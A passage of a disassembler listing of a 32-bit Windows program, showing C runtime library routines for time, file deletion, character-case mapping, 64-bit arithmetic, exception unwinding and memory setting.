call ds:GetSystemTimeAsFileTime ; GetSystemTimeAsFileTime
push 1
push 0
push 0
push [ebp+SystemTimeAsFileTime.dwHighDateTime]
call sub_40B790
sub eax, dword_40FC30
mov ecx, [ebp+SystemTimeAsFileTime.dwLowDateTime]
sbb edx, dword_40FC34
xor edi, edi
add eax, ecx
push edi
adc edx, edi
push 2710h
push edx
push eax
call sub_40B720
pop edi
leave
retn
sub_40B4C8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B50B proc near ; DATA XREF: .data:0040F00Co
SystemTimeAsFileTime= _FILETIME ptr -8
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp+SystemTimeAsFileTime]
push esi
push eax ; lpSystemTimeAsFileTime
call ds:GetSystemTimeAsFileTime ; GetSystemTimeAsFileTime
push 1
push 0
push 0
push [ebp+SystemTimeAsFileTime.dwHighDateTime]
call sub_40B790
mov ecx, [ebp+SystemTimeAsFileTime.dwLowDateTime]
xor esi, esi
add eax, ecx
adc edx, esi
mov dword_40FC30, eax
mov dword_40FC34, edx
pop esi
leave
retn
sub_40B50B endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40B540(LPCSTR lpFileName)
sub_40B540 proc near ; CODE XREF: sub_40B56A+4p
lpFileName = dword ptr 4
push [esp+lpFileName] ; lpFileName
call ds:DeleteFileA ; DeleteFileA
test eax, eax
jnz short loc_40B556
call ds:GetLastError
jmp short loc_40B558
; ---------------------------------------------------------------------------
loc_40B556: ; CODE XREF: sub_40B540+Cj
xor eax, eax
loc_40B558: ; CODE XREF: sub_40B540+14j
test eax, eax
jz short loc_40B567
push eax
call sub_40B575
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40B567: ; CODE XREF: sub_40B540+1Aj
xor eax, eax
retn
sub_40B540 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40B56A(LPCSTR lpFileName)
sub_40B56A proc near ; CODE XREF: sub_40ACD0+53p
lpFileName = dword ptr 4
push [esp+lpFileName] ; lpFileName
call sub_40B540
pop ecx
retn
sub_40B56A endp
; =============== S U B R O U T I N E =======================================
sub_40B575 proc near ; CODE XREF: sub_40B16E+1Fp
; sub_40B540+1Dp
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
xor edx, edx
mov dword_40FBE4, ecx
mov eax, offset dword_40F750
loc_40B586: ; CODE XREF: sub_40B575+1Ej
cmp ecx, [eax]
jz short loc_40B5AA
add eax, 8
inc edx
cmp eax, offset off_40F8B8
jl short loc_40B586
cmp ecx, 13h
jb short loc_40B5B7
cmp ecx, 24h
ja short loc_40B5B7
mov dword_40FBE0, 0Dh
retn
; ---------------------------------------------------------------------------
loc_40B5AA: ; CODE XREF: sub_40B575+13j
mov eax, dword_40F754[edx*8]
mov dword_40FBE0, eax
retn
; ---------------------------------------------------------------------------
loc_40B5B7: ; CODE XREF: sub_40B575+23j
; sub_40B575+28j
cmp ecx, 0BCh
jb short loc_40B5D1
cmp ecx, 0CAh
mov dword_40FBE0, 8
jbe short locret_40B5DB
loc_40B5D1: ; CODE XREF: sub_40B575+48j
mov dword_40FBE0, 16h
locret_40B5DB: ; CODE XREF: sub_40B575+5Aj
retn
sub_40B575 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B5DC(const CHAR CharType)
sub_40B5DC proc near ; CODE XREF: sub_40B283+12Bp
DestStr = byte ptr -4
var_3 = byte ptr -3
CharType = byte ptr 8
push ebp
mov ebp, esp
push ecx
cmp Locale, 0
push ebx
jnz short loc_40B607
mov eax, dword ptr [ebp+CharType]
cmp eax, 61h
jl loc_40B6A5
cmp eax, 7Ah
jg loc_40B6A5
sub eax, 20h
jmp loc_40B6A5
; ---------------------------------------------------------------------------
loc_40B607: ; CODE XREF: sub_40B5DC+Cj
mov ebx, dword ptr [ebp+CharType]
cmp ebx, 100h
jge short loc_40B63A
cmp dword_40FAC4, 1
jle short loc_40B627
push 2 ; int
push ebx ; CharType
call sub_40B6A8
pop ecx
pop ecx
jmp short loc_40B632
; ---------------------------------------------------------------------------
loc_40B627: ; CODE XREF: sub_40B5DC+3Dj
mov eax, off_40F8B8
mov al, [eax+ebx*2]
and eax, 2
loc_40B632: ; CODE XREF: sub_40B5DC+49j
test eax, eax
jnz short loc_40B63A
loc_40B636: ; CODE XREF: sub_40B5DC+AFj
mov eax, ebx
jmp short loc_40B6A5
; ---------------------------------------------------------------------------
loc_40B63A: ; CODE XREF: sub_40B5DC+34j
; sub_40B5DC+58j
mov edx, off_40F8B8
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_40B65D
and byte ptr [ebp+0Ah], 0
mov [ebp+CharType], al
mov [ebp+9], bl
push 2
jmp short loc_40B666
; ---------------------------------------------------------------------------
loc_40B65D: ; CODE XREF: sub_40B5DC+71j
and byte ptr [ebp+9], 0
mov [ebp+CharType], bl
push 1
loc_40B666: ; CODE XREF: sub_40B5DC+7Fj
pop eax
lea ecx, [ebp+DestStr]
push 1 ; int
push 0 ; CodePage
push 3 ; cchDest
push ecx ; lpDestStr
push eax ; cbMultiByte
lea eax, [ebp+CharType]
push eax ; lpMultiByteStr
push 200h ; dwMapFlags
push Locale ; Locale
call sub_40B7C4
add esp, 20h
test eax, eax
jz short loc_40B636
cmp eax, 1
jnz short loc_40B698
movzx eax, [ebp+DestStr]
jmp short loc_40B6A5
; ---------------------------------------------------------------------------
loc_40B698: ; CODE XREF: sub_40B5DC+B4j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+DestStr]
shl eax, 8
or eax, ecx
loc_40B6A5: ; CODE XREF: sub_40B5DC+14j
; sub_40B5DC+1Dj ...
pop ebx
leave
retn
sub_40B5DC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B6A8(WORD CharType,int)
sub_40B6A8 proc near ; CODE XREF: sub_40B283+27p
; sub_40B283+E4p ...
MultiByteStr = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
CharType = word ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, dword ptr [ebp+CharType]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_40B6C6
mov ecx, off_40F8B8
movzx eax, word ptr [ecx+eax*2]
jmp short loc_40B718
; ---------------------------------------------------------------------------
loc_40B6C6: ; CODE XREF: sub_40B6A8+10j
mov ecx, eax
push esi
mov esi, off_40F8B8
sar ecx, 8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_40B6EB
and [ebp+var_2], 0
mov [ebp+MultiByteStr], cl
mov [ebp+var_3], al
push 2
jmp short loc_40B6F4
; ---------------------------------------------------------------------------
loc_40B6EB: ; CODE XREF: sub_40B6A8+33j
and [ebp+var_3], 0
mov [ebp+MultiByteStr], al
push 1
loc_40B6F4: ; CODE XREF: sub_40B6A8+41j
pop eax
lea ecx, [ebp+0Ah]
push 1 ; int
push 0 ; Locale
push 0 ; CodePage
push ecx ; lpCharType
push eax ; cbMultiByte
lea eax, [ebp+MultiByteStr]
push eax ; lpMultiByteStr
push 1 ; dwInfoType
call sub_40BA13
add esp, 1Ch
test eax, eax
jnz short loc_40B714
leave
retn
; ---------------------------------------------------------------------------
loc_40B714: ; CODE XREF: sub_40B6A8+68j
movzx eax, word ptr [ebp+0Ah]
loc_40B718: ; CODE XREF: sub_40B6A8+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_40B6A8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40B720 proc near ; CODE XREF: sub_40B4C8+3Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_40B742
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_40B783
; ---------------------------------------------------------------------------
loc_40B742: ; CODE XREF: sub_40B720+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_40B750: ; CODE XREF: sub_40B720+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_40B750
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_40B77E
cmp edx, [esp+8+arg_4]
ja short loc_40B77E
jb short loc_40B77F
cmp eax, [esp+8+arg_0]
jbe short loc_40B77F
loc_40B77E: ; CODE XREF: sub_40B720+4Ej
; sub_40B720+54j
dec esi
loc_40B77F: ; CODE XREF: sub_40B720+56j
; sub_40B720+5Cj
xor edx, edx
mov eax, esi
loc_40B783: ; CODE XREF: sub_40B720+20j
pop esi
pop ebx
retn 10h
sub_40B720 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40B790 proc near ; CODE XREF: sub_40B4C8+19p
; sub_40B50B+19p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_40B7A9
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_40B7A9: ; CODE XREF: sub_40B790+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_40B790 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B7C4(LCID Locale,DWORD dwMapFlags,LPCSTR lpMultiByteStr,int cbMultiByte,LPSTR lpDestStr,int cchDest,UINT CodePage,int)
sub_40B7C4 proc near ; CODE XREF: sub_40B5DC+A5p
var_28 = dword ptr -28h
lpSrcStr = dword ptr -24h
var_20 = dword ptr -20h
cchSrc = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
Locale = dword ptr 8
dwMapFlags = dword ptr 0Ch
lpMultiByteStr = dword ptr 10h
cbMultiByte = dword ptr 14h
lpDestStr = dword ptr 18h
cchDest = dword ptr 1Ch
CodePage = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_40D878
push offset sub_40BC54
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor edi, edi
cmp dword_40FC38, edi
jnz short loc_40B83A
push edi ; cchDest
push edi ; lpDestStr
push 1
pop ebx
push ebx ; cchSrc
push offset SrcStr ; lpSrcStr
mov esi, 100h
push esi ; dwMapFlags
push edi ; Locale
call ds:LCMapStringW ; LCMapStringW
test eax, eax
jz short loc_40B818
mov dword_40FC38, ebx
jmp short loc_40B83A
; ---------------------------------------------------------------------------
loc_40B818: ; CODE XREF: sub_40B7C4+4Aj
push edi ; cchDest
push edi ; lpDestStr
push ebx ; cchSrc
push offset byte_40D870 ; lpSrcStr
push esi ; dwMapFlags
push edi ; Locale
call ds:LCMapStringA ; LCMapStringA
test eax, eax
jz loc_40B952
mov dword_40FC38, 2
loc_40B83A: ; CODE XREF: sub_40B7C4+2Ej
; sub_40B7C4+52j
cmp [ebp+cbMultiByte], edi
jle short loc_40B84F
push [ebp+cbMultiByte]
push [ebp+lpMultiByteStr]
call sub_40B9E8
pop ecx
pop ecx
mov [ebp+cbMultiByte], eax
loc_40B84F: ; CODE XREF: sub_40B7C4+79j
mov eax, dword_40FC38
cmp eax, 2
jnz short loc_40B876
push [ebp+cchDest] ; cchDest
push [ebp+lpDestStr] ; lpDestStr
push [ebp+cbMultiByte] ; cchSrc
push [ebp+lpMultiByteStr] ; lpSrcStr
push [ebp+dwMapFlags] ; dwMapFlags
push [ebp+Locale] ; Locale
call ds:LCMapStringA ; LCMapStringA
jmp loc_40B954
; ---------------------------------------------------------------------------
loc_40B876: ; CODE XREF: sub_40B7C4+93j
cmp eax, 1
jnz loc_40B952
cmp [ebp+CodePage], edi
jnz short loc_40B88C
mov eax, dword_40FC54
mov [ebp+CodePage], eax
loc_40B88C: ; CODE XREF: sub_40B7C4+BEj
push edi ; cchWideChar
push edi ; lpWideCharStr
push [ebp+cbMultiByte] ; cbMultiByte
push [ebp+lpMultiByteStr] ; lpMultiByteStr
mov eax, [ebp+arg_1C]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax ; dwFlags
push [ebp+CodePage] ; CodePage
call ds:MultiByteToWideChar ; MultiByteToWideChar
mov ebx, eax
mov [ebp+cchSrc], ebx
cmp ebx, edi
jz loc_40B952
mov [ebp+var_4], edi
lea eax, [ebx+ebx]
add eax, 3
and al, 0FCh
call sub_40AF70
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+lpSrcStr], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_40B8E7
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+lpSrcStr], edi
or [ebp+var_4], 0FFFFFFFFh
mov ebx, [ebp+cchSrc]
loc_40B8E7: ; CODE XREF: sub_40B7C4+10Ej
cmp [ebp+lpSrcStr], edi
jz short loc_40B952
push ebx ; cchWideChar
push [ebp+lpSrcStr] ; lpWideCharStr
push [ebp+cbMultiByte] ; cbMultiByte
push [ebp+lpMultiByteStr] ; lpMultiByteStr
push 1 ; dwFlags
push [ebp+CodePage] ; CodePage
call ds:MultiByteToWideChar ; MultiByteToWideChar
test eax, eax
jz short loc_40B952
push edi ; cchDest
push edi ; lpDestStr
push ebx ; cchSrc
push [ebp+lpSrcStr] ; lpSrcStr
push [ebp+dwMapFlags] ; dwMapFlags
push [ebp+Locale] ; Locale
call ds:LCMapStringW ; LCMapStringW
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz short loc_40B952
test byte ptr [ebp+dwMapFlags+1], 4
jz short loc_40B966
cmp [ebp+cchDest], edi
jz loc_40B9E1
cmp esi, [ebp+cchDest]
jg short loc_40B952
push [ebp+cchDest] ; cchDest
push [ebp+lpDestStr] ; lpDestStr
push ebx ; cchSrc
push [ebp+lpSrcStr] ; lpSrcStr
push [ebp+dwMapFlags] ; dwMapFlags
push [ebp+Locale] ; Locale
call ds:LCMapStringW ; LCMapStringW
test eax, eax
jnz loc_40B9E1
loc_40B952: ; CODE XREF: sub_40B7C4+66j
; sub_40B7C4+B5j ...
xor eax, eax
loc_40B954: ; CODE XREF: sub_40B7C4+ADj
; sub_40B7C4+21Fj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40B966: ; CODE XREF: sub_40B7C4+160j
mov [ebp+var_4], 1
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_20], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_40B99A
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_40B99A: ; CODE XREF: sub_40B7C4+1C2j
cmp ebx, edi
jz short loc_40B952
push esi ; cchDest
push ebx ; lpDestStr
push [ebp+cchSrc] ; cchSrc
push [ebp+lpSrcStr] ; lpSrcStr
push [ebp+dwMapFlags] ; dwMapFlags
push [ebp+Locale] ; Locale
call ds:LCMapStringW ; LCMapStringW
test eax, eax
jz short loc_40B952
cmp [ebp+cchDest], edi
push edi ; lpUsedDefaultChar
push edi ; lpDefaultChar
jnz short loc_40B9C1
push edi
push edi
jmp short loc_40B9C7
; ---------------------------------------------------------------------------
loc_40B9C1: ; CODE XREF: sub_40B7C4+1F7j
push [ebp+cchDest] ; cbMultiByte
push [ebp+lpDestStr] ; lpMultiByteStr
loc_40B9C7: ; CODE XREF: sub_40B7C4+1FBj
push esi ; cchWideChar
push ebx ; lpWideCharStr
push 220h ; dwFlags
push [ebp+CodePage] ; CodePage
call ds:WideCharToMultiByte ; WideCharToMultiByte
mov esi, eax
cmp esi, edi
jz loc_40B952
loc_40B9E1: ; CODE XREF: sub_40B7C4+165j
; sub_40B7C4+188j
mov eax, esi
jmp loc_40B954
sub_40B7C4 endp
; =============== S U B R O U T I N E =======================================
sub_40B9E8 proc near ; CODE XREF: sub_40B7C4+81p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_40BA05
loc_40B9F8: ; CODE XREF: sub_40B9E8+1Bj
cmp byte ptr [eax], 0
jz short loc_40BA05
inc eax
mov esi, ecx
dec ecx
test esi, esi
jnz short loc_40B9F8
loc_40BA05: ; CODE XREF: sub_40B9E8+Ej
; sub_40B9E8+13j
cmp byte ptr [eax], 0
pop esi
jnz short loc_40BA10
sub eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_40BA10: ; CODE XREF: sub_40B9E8+21j
mov eax, edx
retn
sub_40B9E8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40BA13(DWORD dwInfoType,LPCSTR lpMultiByteStr,int cbMultiByte,LPWORD lpCharType,UINT CodePage,LCID Locale,int)
sub_40BA13 proc near ; CODE XREF: sub_40B6A8+5Ep
var_24 = dword ptr -24h
cchWideChar = dword ptr -20h
CharType = word ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
dwInfoType = dword ptr 8
lpMultiByteStr = dword ptr 0Ch
cbMultiByte = dword ptr 10h
lpCharType = dword ptr 14h
CodePage = dword ptr 18h
Locale = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_40D890
push offset sub_40BC54
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_40FC5C
xor ebx, ebx
cmp eax, ebx
jnz short loc_40BA82
lea eax, [ebp+CharType]
push eax ; lpCharType
push 1
pop esi
push esi ; cchSrc
push offset SrcStr ; lpSrcStr
push esi ; dwInfoType
call ds:GetStringTypeW ; GetStringTypeW
test eax, eax
jz short loc_40BA60
mov eax, esi
jmp short loc_40BA7D
; ---------------------------------------------------------------------------
loc_40BA60: ; CODE XREF: sub_40BA13+47j
lea eax, [ebp+CharType]
push eax ; lpCharType
push esi ; cchSrc
push offset byte_40D870 ; lpSrcStr
push esi ; dwInfoType
push ebx ; Locale
call ds:GetStringTypeA ; GetStringTypeA
test eax, eax
jz loc_40BB48
push 2
pop eax
loc_40BA7D: ; CODE XREF: sub_40BA13+4Bj
mov dword_40FC5C, eax
loc_40BA82: ; CODE XREF: sub_40BA13+2Fj
cmp eax, 2
jnz short loc_40BAAB
mov eax, [ebp+Locale]
cmp eax, ebx
jnz short loc_40BA93
mov eax, Locale
loc_40BA93: ; CODE XREF: sub_40BA13+79j
push [ebp+lpCharType] ; lpCharType
push [ebp+cbMultiByte] ; cchSrc
push [ebp+lpMultiByteStr] ; lpSrcStr
push [ebp+dwInfoType] ; dwInfoType
push eax ; Locale
call ds:GetStringTypeA ; GetStringTypeA
jmp loc_40BB4A
; ---------------------------------------------------------------------------
loc_40BAAB: ; CODE XREF: sub_40BA13+72j
cmp eax, 1
jnz loc_40BB48
cmp [ebp+CodePage], ebx
jnz short loc_40BAC1
mov eax, dword_40FC54
mov [ebp+CodePage], eax
loc_40BAC1: ; CODE XREF: sub_40BA13+A4j
push ebx ; cchWideChar
push ebx ; lpWideCharStr
push [ebp+cbMultiByte] ; cbMultiByte
push [ebp+lpMultiByteStr] ; lpMultiByteStr
mov eax, [ebp+arg_18]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax ; dwFlags
push [ebp+CodePage] ; CodePage
call ds:MultiByteToWideChar ; MultiByteToWideChar
mov [ebp+cchWideChar], eax
cmp eax, ebx
jz short loc_40BB48
mov [ebp+var_4], ebx
lea edi, [eax+eax]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_40AF70
mov [ebp+var_18], esp
mov esi, esp
mov [ebp+var_24], esi
push edi
push ebx
push esi
call sub_40BD30
add esp, 0Ch
jmp short loc_40BB17
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor esi, esi
loc_40BB17: ; CODE XREF: sub_40BA13+F7j
or [ebp+var_4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_40BB48
push [ebp+cchWideChar] ; cchWideChar
push esi ; lpWideCharStr
push [ebp+cbMultiByte] ; cbMultiByte
push [ebp+lpMultiByteStr] ; lpMultiByteStr
push 1 ; dwFlags
push [ebp+CodePage] ; CodePage
call ds:MultiByteToWideChar ; MultiByteToWideChar
cmp eax, ebx
jz short loc_40BB48
push [ebp+lpCharType] ; lpCharType
push eax ; cchSrc
push esi ; lpSrcStr
push [ebp+dwInfoType] ; dwInfoType
call ds:GetStringTypeW ; GetStringTypeW
jmp short loc_40BB4A
; ---------------------------------------------------------------------------
loc_40BB48: ; CODE XREF: sub_40BA13+61j
; sub_40BA13+9Bj ...
xor eax, eax
loc_40BB4A: ; CODE XREF: sub_40BA13+93j
; sub_40BA13+133j
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40BA13 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BB5C proc near ; CODE XREF: sub_40BC54+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_40BB74
push [ebp+arg_0]
call RtlUnwind ; RtlUnwind
loc_40BB74: ; DATA XREF: sub_40BB5C+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40BB5C endp
; =============== S U B R O U T I N E =======================================
sub_40BB7C proc near ; DATA XREF: sub_40BB9E+Ao
; .text:0040BC0Fo
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_40BB9D
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_40BB9D: ; CODE XREF: sub_40BB7C+10j
retn
sub_40BB7C endp
; =============== S U B R O U T I N E =======================================
sub_40BB9E proc near ; CODE XREF: sub_40BC54+67p
; sub_40BC54+A7p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_40BB7C
push large dword ptr fs:0
mov large fs:0, esp
loc_40BBBB: ; CODE XREF: sub_40BB9E:loc_40BBF6j
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_40BBF8
cmp esi, [esp+1Ch+arg_4]
jz short loc_40BBF8
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_40BBF6
push 101h
mov eax, [ebx+esi*4+8]
call sub_40BC32
call dword ptr [ebx+esi*4+8]
loc_40BBF6: ; CODE XREF: sub_40BB9E+44j
jmp short loc_40BBBB
; ---------------------------------------------------------------------------
loc_40BBF8: ; CODE XREF: sub_40BB9E+2Aj
; sub_40BB9E+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_40BB9E endp
; ---------------------------------------------------------------------------
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_40BB7C
jnz short locret_40BC28
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_40BC28
mov eax, 1
locret_40BC28: ; CODE XREF: .text:0040BC16j
; .text:0040BC21j
retn
; ---------------------------------------------------------------------------
push ebx
push ecx
mov ebx, offset dword_40FAD0
jmp short loc_40BC3C
; =============== S U B R O U T I N E =======================================
sub_40BC32 proc near ; CODE XREF: sub_40BB9E+4Fp
; sub_40BC54+78p
push ebx
push ecx
mov ebx, offset dword_40FAD0
mov ecx, [ebp+8]
loc_40BC3C: ; CODE XREF: .text:0040BC30j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_40BC32 endp
; ---------------------------------------------------------------------------
align 4
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BC54 proc near ; DATA XREF: sub_40B7C4+Ao
; sub_40BA13+Ao
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_40BCF4
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_40BC87: ; CODE XREF: sub_40BC54+90j
cmp esi, 0FFFFFFFFh
jz short loc_40BCED
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_40BCDB
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_40BCDB
js short loc_40BCE6
mov edi, [ebx+8]
push ebx
call sub_40BB5C
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_40BB9E
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_40BC32
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_40BCDB: ; CODE XREF: sub_40BC54+40j
; sub_40BC54+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_40BC87
; ---------------------------------------------------------------------------
loc_40BCE6: ; CODE XREF: sub_40BC54+54j
mov eax, 0
jmp short loc_40BD09
; ---------------------------------------------------------------------------
loc_40BCED: ; CODE XREF: sub_40BC54+36j
mov eax, 1
jmp short loc_40BD09
; ---------------------------------------------------------------------------
loc_40BCF4: ; CODE XREF: sub_40BC54+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_40BB9E
add esp, 8
pop ebp
mov eax, 1
loc_40BD09: ; CODE XREF: sub_40BC54+97j
; sub_40BC54+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40BC54 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_40BB9E
add esp, 8
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40BD30 proc near ; CODE XREF: sub_40BA13+EFp
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_40BD83
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_40BD77
neg ecx
and ecx, 3
jz short loc_40BD59
sub edx, ecx
loc_40BD53: ; CODE XREF: sub_40BD30+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_40BD53
loc_40BD59: ; CODE XREF: sub_40BD30+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_40BD77
rep stosd
test edx, edx
jz short loc_40BD7D
loc_40BD77: ; CODE XREF: sub_40BD30+18j
; sub_40BD30+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_40BD77
loc_40BD7D: ; CODE XREF: sub_40BD30+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_40BD83: ; CODE XREF: sub_40BD30+Aj
mov eax, [esp+arg_0]
retn
sub_40BD30 endp
; ---------------------------------------------------------------------------
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION RtlUnwind. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_40BD96 proc near ; CODE XREF: sub_408980+21Dp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_40BDBD
push esi
call sub_40BF40
inc eax
push eax ; dwBytes
call sub_40AE50
pop ecx
test eax, eax
pop ecx
jz short loc_40BDBD
push esi
push eax
call sub_40BE50
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
